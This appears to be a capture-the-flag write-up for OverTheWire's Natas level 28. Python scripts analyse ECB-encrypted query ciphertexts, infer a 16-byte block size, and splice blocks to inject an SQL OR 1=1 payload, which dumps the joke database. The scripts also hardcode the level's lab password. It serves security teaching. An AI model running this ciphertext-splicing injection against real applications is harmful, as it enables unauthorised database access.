G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6OepFqT7keU0bYgT7CSC2jyfWSGlUrqRvuT6auFhFtPS9DX/ytyVFP8KUcB5R9dfA+O
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oe7aEY+Zn5SV6PPZc/umUoo4lt6QiE+GEIsWf4tK6l12ORcjIFFIPmjkWP0GYWezCj
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oe8pCcTVN4HuF3egErsaclQaCVIvMBz502rHAj8WWUjFqXOc2QUi+nqG+VdztW+fjA
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo3OKX/tKRQAkZ3UXWuWWu9bzTfM5xp7c4R9mULvO1icC
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo7TtoIfTwL6ivtwbYUC54uvKjPTmEJE6uuOaBnYZIEpa
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo86CqVU7ZbgSgPttO/KQD0d1/VBE/QY9Jva7f3NLQciZ
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqox90cU12/MXUZMaiIebtmORiI6FNnEKRuYd1sD+8c9Tt2K5R19pxsrCD2Rmg17iLmA==
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo+zTb4/ZFk1ANUDkSXB9J+VCV6ND2q2q8sDjodcc4D3Re3usplXymKMh6Q4/emDU2A==
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo1rvKpl9ojY/cqP60zLRc2+nc/MYUJSqAUCPH5fQN9OFZ4xXc+zCj4cOT068bIBwpA==
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo4klFYz8WsBtIr/aC3LI8VGnfo7Rqr4LXQXE/+asFCOrR46xof4mGixsFQYRCbP+2g==

The start G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP is common.

Now try with a query of a single letter varying:

import requests
import urllib
import string


basic_auth = ('natas28', '1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj')

url = "http://natas28.natas.labs.overthewire.org/index.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}

letters = string.ascii_letters

def send_request(session, query) -> str:
    body = {"query": query}
    response = session.post(url,
                    headers=headers,
                    data=body)
    result = response.url.split("=")[1]
    return urllib.parse.unquote(result)

if __name__ == '__main__':
    session = requests.Session()
    session.auth = basic_auth
    query = ""
    for letter in letters:
        print(send_request(session, letter))

The result is interesting:

python natas29.py
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKriAqPE2++uYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIYiwNnSJY7KHJGU+XjuMzVvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKEMZKNASy09t5ooTNAbaX0vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKnMw6aSOWjayIcOCUAu7bVvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIeoxGWFgXHXykQlH86OpiMvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKX9Nbu3XXL5PIaYqiW14GSvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLV4wF7G0i3DftMhPsAyZVqvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIJJW40OKGV9h7fJBqf28f9vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLMEPlGOfuQ7a1fFtCB5a1XvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPICgQ0oynl6FWbVHY/8dJkIvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLnuAD+NGYcU1yTMgoFGDHHvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIskS5tRSHzosjTBciCi/8VvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJTwbPiFdKuTtoify+YlBFLvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKvKlZ1HHFG9tUyBWOMONORvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIPdJbPB4AWVinSFPLRB1eYvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKD30n5dTLLZ3c/Rs9/bQwwvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKghh12LRBJ55334nG5LgfxvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKef8vfXgzqiOnKBXb2kd2cvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPI+jVOKpzBAHVGo0XIzCijxvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKLbhtgC4p7C+91shiGBL15vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIRwoUdFyCT68E7RwSyaxRSvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIae8xMT+8hwEi33FOpyUlmvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKlwoXvDTqKtYfcUSRUbdOSvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJXwBmXBeBRhwrvq1HTCwh/vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPL7EnsTc1X3234z1DMqyjsMvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJDB5EyzqNqQNuIYdASJqV6vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKjd8MKDZZIiKG51FNeoPjUvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJjS9S3adXJc/WWvI3XdcvzvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIV6guc0zYmhS2FK2WeDX9XvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJPZL/HuhXFCvKgIB2/Zln5vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJibK/FTJvyvXqxFb51bhV1vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJhFsli4K/fPeKT4M8Ry23kvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKOKpwR3/gkTIMH8U7dhu4GvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKIDMQGG2abZtjOsSZs1X39vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKOvt9wFI9mjTVoT/tGtl7FvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPL5KLXni7y8eqJFwXWh1DUnvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPITdJXBsJQLwvXAvasuKjoevfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPI2LEeQPtPKos7Cg24MI6rXvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIFr55FtnKO9tEyQa/+96tovfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKQYCy/DcTbyaMyrOKXW+nmvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJXWuUtLaAhQY1GD/2pLpWBvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJslle8BYSivKdpv1B2Y01FvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJaGM8iPTFRQd0Zmcxed5mevfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJiDv3VFbwCsAwUlLNbD2BFvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJ3Nmyh1ZS++nAIX1FELIkMvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJO9/z7rq/TbEgCDg6ebTA6vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJs9IckNOkzgew37TadMpVqvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJHdksLJFuUJ3MlCTPRoS7rvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLxGu5bRS4vnVo0bm1VgVobvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPI3GgIRwkWmfdd+oEfVBISnvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPK6wkS+fLmU8WdWdeOrvNlhvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLPP49oqlQoQMK4BitKnvvEvfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=

There is a common ending part: vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA= (and there remains the common starting part G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP).

We can study a little bit better the results of our queries with the following script:

import requests
import urllib
import string

from utils import utils


basic_auth = ('natas28', '1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj')

url = "http://natas28.natas.labs.overthewire.org/index.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}

letters = string.ascii_letters

def send_request(session, query) -> str:
    body = {"query": query}
    response = session.post(url,
                    headers=headers,
                    data=body)
    result = response.url.split("=")[1]
    return urllib.parse.unquote(result)

if __name__ == '__main__':
    letter_to_responses = {}
    session = requests.Session()
    session.auth = basic_auth
    query = ""
    for letter in letters:
        letter_to_responses[letter] = send_request(session, letter)
    responses = list(letter_to_responses.values())
    prefix = utils.common_prefix_list(responses)
    suffix = utils.common_suffix_list(responses)
    print(f"Common prefix: {prefix}")
    print(f"Common suffix: {suffix}")
    different_parts = {k: s[len(prefix):len(s) - len(suffix)] for k, s in letter_to_responses.items()}
    for k, s in different_parts.items():
        print(f"{k}: {s}")

The output:

Common prefix: G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP
Common suffix: vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
a: KriAqPE2++uYlniRMkobB1
b: IYiwNnSJY7KHJGU+XjuMzV
c: KEMZKNASy09t5ooTNAbaX0
d: KnMw6aSOWjayIcOCUAu7bV
e: IeoxGWFgXHXykQlH86OpiM
f: KX9Nbu3XXL5PIaYqiW14GS
g: LV4wF7G0i3DftMhPsAyZVq
h: IJJW40OKGV9h7fJBqf28f9
i: LMEPlGOfuQ7a1fFtCB5a1X
j: ICgQ0oynl6FWbVHY/8dJkI
k: LnuAD+NGYcU1yTMgoFGDHH
l: IskS5tRSHzosjTBciCi/8V
m: JTwbPiFdKuTtoify+YlBFL
n: KvKlZ1HHFG9tUyBWOMONOR
o: IPdJbPB4AWVinSFPLRB1eY
p: KD30n5dTLLZ3c/Rs9/bQww
q: Kghh12LRBJ55334nG5Lgfx
r: Kef8vfXgzqiOnKBXb2kd2c
s: I+jVOKpzBAHVGo0XIzCijx
t: KLbhtgC4p7C+91shiGBL15
u: IRwoUdFyCT68E7RwSyaxRS
v: Iae8xMT+8hwEi33FOpyUlm
w: KlwoXvDTqKtYfcUSRUbdOS
x: JXwBmXBeBRhwrvq1HTCwh/
y: L7EnsTc1X3234z1DMqyjsM
z: JDB5EyzqNqQNuIYdASJqV6
A: Kjd8MKDZZIiKG51FNeoPjU
B: JjS9S3adXJc/WWvI3Xdcvz
C: IV6guc0zYmhS2FK2WeDX9X
D: JPZL/HuhXFCvKgIB2/Zln5
E: JibK/FTJvyvXqxFb51bhV1
F: JhFsli4K/fPeKT4M8Ry23k
G: KOKpwR3/gkTIMH8U7dhu4G
H: KIDMQGG2abZtjOsSZs1X39
I: KOvt9wFI9mjTVoT/tGtl7F
J: L5KLXni7y8eqJFwXWh1DUn
K: ITdJXBsJQLwvXAvasuKjoe
L: I2LEeQPtPKos7Cg24MI6rX
M: IFr55FtnKO9tEyQa/+96to
N: KQYCy/DcTbyaMyrOKXW+nm
O: JXWuUtLaAhQY1GD/2pLpWB
P: Jslle8BYSivKdpv1B2Y01F
Q: JaGM8iPTFRQd0Zmcxed5me
R: JiDv3VFbwCsAwUlLNbD2BF
S: J3Nmyh1ZS++nAIX1FELIkM
T: JO9/z7rq/TbEgCDg6ebTA6
U: Js9IckNOkzgew37TadMpVq
V: JHdksLJFuUJ3MlCTPRoS7r
W: LxGu5bRS4vnVo0bm1VgVob
X: I3GgIRwkWmfdd+oEfVBISn
Y: K6wkS+fLmU8WdWdeOrvNlh
Z: LPP49oqlQoQMK4BitKnvvE

Try now varying the length of the query:

import requests
import urllib
import string

from utils import utils


basic_auth = ('natas28', '1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj')

url = "http://natas28.natas.labs.overthewire.org/index.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}

letters = string.ascii_letters

def send_request(session, query) -> str:
    body = {"query": query}
    response = session.post(url,
                    headers=headers,
                    data=body)
    result = response.url.split("=")[1]
    return urllib.parse.unquote(result)

if __name__ == '__main__':
    letter_to_responses = {}
    session = requests.Session()
    session.auth = basic_auth
    query = ""
    for i in range(40):
        query = "a" * i
        letter_to_responses[query] = send_request(session, query)
    responses = list(letter_to_responses.values())
    prefix = utils.common_prefix_list(responses)
    suffix = utils.common_suffix_list(responses)
    print(f"Common prefix: {prefix}")
    print(f"Common suffix: {suffix}")
    different_parts = {k: s[len(prefix):len(s) - len(suffix)] for k, s in letter_to_responses.items()}
    for k, s in different_parts.items():
        print(f"{s}")

The output:

Common prefix: G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP
Common suffix:
Lof/YMma1yzL2UfjQXqQEop36O0aq+C10FxP/mrBQjq0eOsaH+JhosbBUGEQmz/to=
KriAqPE2++uYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
KxMKUxvsiccFITv6XJZnrHSHmaB7HSm1mCAVyTVcLgDq3tm9uspqc7cbNaAQ0sTFc=
IvUpOmOsuf6Me06CS3bWodmi4rXbbzHxmhT3Vnjq2qkEJJuT5N6gkJR5mVucRLNRo=
I1BKmpZ1/9YUtPH5DShPyqKSh/PMVHnhLmbzHIY7GAR1bVcy3Ix3D2Q5cVi8F6bmY=
LDah8EaRWKMFIWYUal4/LsrDuHHBxEg4a0XNNtno9y9GVRSbu6ISPYnZVBfqJ/Ons=
JKEf/nOv0V2qBes8NIbc3hQcCYxLrNxe2TV1ZOUQXdfmTQ3MhoJTaSrfy9N5bRv4o=
Kf3hzvbj+EoXJjPzB0/I4YZIaVSupG+5Ppq4WEW09L0Nf/K3JUU/wpRwHlH118D44=
JFPgAgYC9NzNUPDrdwlHfCiW3pCIT4YQixZ/i0rqXXY5FyMgUUg+aORY/QZhZ7MKM=
KeYiaGpSZAWVcGCZq8sFK7oJUi8wHPnTascCPxZZSMWpc5zZBSL6eob5V3O1b5+MA=
LAhy3ui8kLEVaROwiiI6Oec4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=
LAhy3ui8kLEVaROwiiI6OetO2gh9PAvqK+3BthQLni68qM9OYQkTq645oGdhkgSlo=
LAhy3ui8kLEVaROwiiI6OezoKpVTtluBKA+2078pAPR3X9UET9Bj0m9rt/c0tByJk=
LAhy3ui8kLEVaROwiiI6OeH3RxTXb8xdRkxqIh5u2Y5GIjoU2cQpG5h3WwP7xz1O3YrlHX2nGysIPZGaDXuIuY
LAhy3ui8kLEVaROwiiI6Oe7NNvj9kWTUA1QORJcH0n5UJXo0PararywOOh1xzgPdF7e6ymVfKYoyHpDj96YNTY
LAhy3ui8kLEVaROwiiI6OeWu8qmX2iNj9yo/rTMtFzb6dz8xhQlKoBQI8fl9A304VnjFdz7MKPhw5PTrxsgHCk
LAhy3ui8kLEVaROwiiI6OeiSUVjPxawG0iv9oLcsjxUad+jtGqvgtdBcT/5qwUI6tHjrGh/iYaLGwVBhEJs/7a
LAhy3ui8kLEVaROwiiI6OerfihrQF37R7K06x8EIKqnr36EFTsaFFc+W8qVURZGUeQT0sqvywtdoaqcqUxUclw
LAhy3ui8kLEVaROwiiI6OeU9lJnrytaGHwS3zcJPMEYkh5mgex0ptZggFck1XC4A6t7ZvbrKanO3GzWgENLExX
LAhy3ui8kLEVaROwiiI6OepUn9pSttm04mMtsxg4hW1ZouK1228x8ZoU91Z46tqpBCSbk+TeoJCUeZlbnESzUa
LAhy3ui8kLEVaROwiiI6OeIBG75Ijd4bvslhthcLMOEikofzzFR54S5m8xyGOxgEdW1XMtyMdw9kOXFYvBem5m
LAhy3ui8kLEVaROwiiI6OeiCmh+TDOtWa4NEQcBXdALKw7hxwcRIOGtFzTbZ6PcvRlUUm7uiEj2J2VQX6ifzp7
LAhy3ui8kLEVaROwiiI6OeVHYCtS+uFWasjpcfkfbWBUHAmMS6zcXtk1dWTlEF3X5k0NzIaCU2kq38vTeW0b+K
LAhy3ui8kLEVaROwiiI6OepFqT7keU0bYgT7CSC2jyfWSGlUrqRvuT6auFhFtPS9DX/ytyVFP8KUcB5R9dfA+O
LAhy3ui8kLEVaROwiiI6Oe7aEY+Zn5SV6PPZc/umUoo4lt6QiE+GEIsWf4tK6l12ORcjIFFIPmjkWP0GYWezCj
LAhy3ui8kLEVaROwiiI6Oe8pCcTVN4HuF3egErsaclQaCVIvMBz502rHAj8WWUjFqXOc2QUi+nqG+VdztW+fjA
LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo3OKX/tKRQAkZ3UXWuWWu9bzTfM5xp7c4R9mULvO1icC
LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo7TtoIfTwL6ivtwbYUC54uvKjPTmEJE6uuOaBnYZIEpa
LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo86CqVU7ZbgSgPttO/KQD0d1/VBE/QY9Jva7f3NLQciZ
LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqox90cU12/MXUZMaiIebtmORiI6FNnEKRuYd1sD+8c9Tt2K5R19pxsrCD2Rmg17iLmA==
LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo+zTb4/ZFk1ANUDkSXB9J+VCV6ND2q2q8sDjodcc4D3Re3usplXymKMh6Q4/emDU2A==
LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo1rvKpl9ojY/cqP60zLRc2+nc/MYUJSqAUCPH5fQN9OFZ4xXc+zCj4cOT068bIBwpA==
LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo4klFYz8WsBtIr/aC3LI8VGnfo7Rqr4LXQXE/+asFCOrR46xof4mGixsFQYRCbP+2g==
LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo634oa0Bd+0eytOsfBCCqp69+hBU7GhRXPlvKlVEWRlHkE9LKr8sLXaGqnKlMVHJcA==
LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo1PZSZ68rWhh8Et83CTzBGJIeZoHsdKbWYIBXJNVwuAOre2b26ympztxs1oBDSxMVw==
LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo6VJ/aUrbZtOJjLbMYOIVtWaLitdtvMfGaFPdWeOraqQQkm5Pk3qCQlHmZW5xEs1Gg==
LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqoyARu+SI3eG77JYbYXCzDhIpKH88xUeeEuZvMchjsYBHVtVzLcjHcPZDlxWLwXpuZg==
LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo4gpofkwzrVmuDREHAV3QCysO4ccHESDhrRc022ej3L0ZVFJu7ohI9idlUF+on86ew==
LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo1R2ArUvrhVmrI6XH5H21gVBwJjEus3F7ZNXVk5RBd1+ZNDcyGglNpKt/L03ltG/ig==
LAhy3ui8kLEVaROwiiI6Oes5A4wo33m2XSYVHfWPfqo6Rak+5HlNG2IE+wkgto8n1khpVK6kb7k+mrhYRbT0vQ1/8rclRT/ClHAeUfXXwPjg==

The common part LAhy3ui8kLEVaROwiiI6Oe appearing at a certain point has length:

>>> print(len("LAhy3ui8kLEVaROwiiI6Oe"))
22

We learn online that $3n$ bytes are Base64-encoded to $4n$ characters.

Thus, a string of $n$ bytes will be encoded to $\lceil{4n\over 3}\rceil$ bytes.

Reversing this:

>>> len("LAhy3ui8kLEVaROwiiI6Oe") / 4 * 3
16.5

This gives us the block size, which will be $16$.

Analogous can be calculated from another common part appearing in the following queries: s5A4wo33m2XSYVHfWPfqo:

>>> import math
>>> math.ceil(len("s5A4wo33m2XSYVHfWPfqo") / 4 * 3)
16

The script injecting the malicious query:

import requests
import urllib
import string
import os
import base64

from utils import utils


basic_auth = ('natas28', '1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj')

url = "http://natas28.natas.labs.overthewire.org/index.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}

letters = string.ascii_letters

prefix = "G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP"
suffix = "c4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI="

def send_request(session, query) -> str:
    body = {"query": query}
    response = session.post(url,
                    headers=headers,
                    data=body)
    result = response.url.split("=")[1]
    return urllib.parse.unquote(result)

if __name__ == '__main__':
    session = requests.Session()
    session.auth = basic_auth
    inner_block_query = "          "
    res_inner_block = send_request(session, inner_block_query)
    inner_block = res_inner_block[len(prefix):len(res_inner_block) - len(suffix)]
    query = "AAAAAAAAA' OR 1=1 -- " # The final space is necessary!
    res = send_request(session, query)
    my_part = res[len(prefix) + len(inner_block):]
    query = prefix + inner_block + my_part + suffix
    url_encoded = urllib.parse.quote_plus(query)
    print(url_encoded)

The suffix (URL-encoded) to append to query= in the URL:

G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPItlMM3qTizkRB5P2zYxJsbWY4bHaEWFEfgtXy4iixC3kHAmMS6zcXtk1dWTlEF3X5k0NzIaCU2kq38vTeW0b%2BKc4pf%2B0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI%3D

An analysis of the blocks (with addede spaces):

Full normal query:    G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPItlMM3qTizkRB5P2zYxJsbc4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=
Prefix:               G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjP
Inner block:                                                    ItlMM3qTizkRB5P2zYxJsb
Suffix:                                                                               c4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=
Full malicious query: G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIWJ2pwLjKxd0ddiQ3a1c5lWY4bHaEWFEfgtXy4iixC3kHAmMS6zcXtk1dWTlEF3X5k0NzIaCU2kq38vTeW0b+K
Malicious block:                                                                      WY4bHaEWFEfgtXy4iixC3kHAmMS6zcXtk1dWTlEF3X5k0NzIaCU2kq38vTeW0b+K

New malicious query (not URL-encoded):
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPItlMM3qTizkRB5P2zYxJsbWY4bHaEWFEfgtXy4iixC3kHAmMS6zcXtk1dWTlEF3X5k0NzIaCU2kq38vTeW0b+Kc4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=

From the page, we get:

Whack Computer Joke Database

Q: How do you tell an introverted computer scientist from an extroverted computer scientist? A: An extroverted computer scientist looks at your shoes when he talks to you.

Q: Why do programmers always mix up Halloween and Christmas? A: Because Oct 31 == Dec 25!

There are 10 kinds of people in the world: Those that know binary & those that don’t

Two bytes meet. The first byte asks, “Are you ill?” The second byte replies, “No, just feeling a bit off.”

Q: how many programmers does it take to change a light bulb? A: none, that’s a hardware problem. There are no shortcuts in life, unless you right click and find one… Keyboard not found … press F1 to continue “Knock, knock.”“Who’s there?” very long pause… “Java.”

A physicist, an engineer and a programmer were in a car driving over a steep alpine pass when the brakes failed. The car was getting faster and faster, they were struggling to get round the corners and once or twice only the feeble crash barrier saved them from crashing down the side of the mountain. They were sure they were all going to die, when suddenly they spotted an escape lane. They pulled into the escape lane, and came safely to a halt. The physicist said “We need to model the friction in the brake pads and the resultant temperature rise, see if we can work out why they failed”. The engineer said “I think I’ve got a few spanners in the back. I’ll take a look and see if I can work out what’s wrong”. The programmer said “Why don’t we get going again and see if it’s reproducible?”

Q: Whats the object-oriented way to become wealthy? A: Inheritance

Old C programmers don’t die, they’re just cast into void.

